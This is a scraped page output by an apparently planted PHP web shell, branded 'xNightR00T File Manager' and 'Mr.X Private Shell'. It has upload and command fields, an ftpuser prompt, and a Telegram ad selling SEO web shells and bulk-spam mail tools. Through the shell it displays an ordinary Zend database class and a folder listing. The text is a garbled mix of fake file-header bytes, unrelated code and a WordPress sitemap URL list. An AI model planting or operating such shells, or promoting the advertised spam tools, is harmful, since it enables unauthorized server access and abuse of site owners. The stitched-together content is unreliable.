xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Application\Db;

use Zend\Db\Sql\Expression;
use Zend\Db\Sql\Predicate\Operator;
use Zend\Db\Sql\Select;
use Zend\Db\Sql\Where;
use Zend\Db\Metadata\Metadata;

class TableGateway extends \Zend\Db\TableGateway\TableGateway{

    const INTEGER_COLUMN_TYPE = 'INTEGER';

    protected $metadata;

    /**
     * Create update into query
     * @param array $params
     * @return Driver\StatementInterface|ResultSet\ResultSet
     */
    public function updateInto(array $params)
    {
        $keys = array_keys($params);
        $fields = implode(',', $keys);
        $fieldsInsert = ':'.implode(',:', $keys);
        $insertParams = array();
        foreach($params as $key => $val){
            $insertParams[':'.$key] = $val;
        }
         
        $sql = 'replace into '.$this->table.' ('.$fields.') values('.$fieldsInsert.')';

        return $this->getAdapter()->query($sql,$insertParams);
    }


    /**
     * Get collection of objects
     * @param array | Where $params - filter conditions :
     * example 1 : array('key' => val)
     * example 2 : array('key' => array('>','now()'))
     *
     * @param string $orderBy - order by string
     * @param array $joinParams - example - array (array('right',['alias' => 'table_name'], 't.a = main_s.b'))
     * @param array $byKey - the value key to get the objects
     * @param array $limit - limit number of rows
     * @return arrays
     */
    public function getAll($params = array(), string $orderBy = null, array $joinParams = null, int $limit = null,
                           int $offset = null)
    {
        $result    = array();
        return $this->select(function(Select $select) use($params, $orderBy, $joinParams, $limit, $offset) {

            if (!empty($params)) {
                $select->where($params);
            }

            if ($orderBy) {
                $select->order(new Expression($orderBy));
            }

            if ($joinParams) {
                foreach ($joinParams as $joinParam) {
                    $type      = $joinParam[0];
                    $tableLink = $joinParam[1]; // ['alias' => 'table_name']
                    $whereJoin = $joinParam[2]; // 't.a = main_s.b'
                    $select->join($tableLink, $whereJoin, $type, Select::SQL_STAR, $type);
                }
                $select->order(new Expression($orderBy));
            }

            if ($limit) {
                $select->limit($limit);
            }

            if ($offset) {
                $select->offset($offset);
            }
        });
    }

    public function getTableColumns()
    {
        $result = [];
        $columns = $this->getMetaColumns();
        foreach($columns as $column){
            $result[$column->getName()] = $column->getDataType();
        }
        return $result;
    }



    public function getMetadata()
    {
        if(!$this->metadata){
            $this->metadata = new Metadata($this->getAdapter());
        }
        return $this->metadata;
    }

    public function getMetaColumns()
    {
        $metadata = $this->getMetadata();
        $table = $metadata->getTable($this->getTable());
        return $table->getColumns();
    }
}

Filemanager

Name Type Size Permission Actions
Adapter Folder 0755
AbstractFactoryConnector.php File 3.34 KB 0644
Connector.php File 5.3 KB 0644
Creator.php File 18.32 KB 0644
DirectivesFileConnector.php File 1.02 KB 0644
MissingDbMetadataException.php File 471 B 0644
SqliteDbCreator.php File 1.53 KB 0644
TableGateway.php File 3.12 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml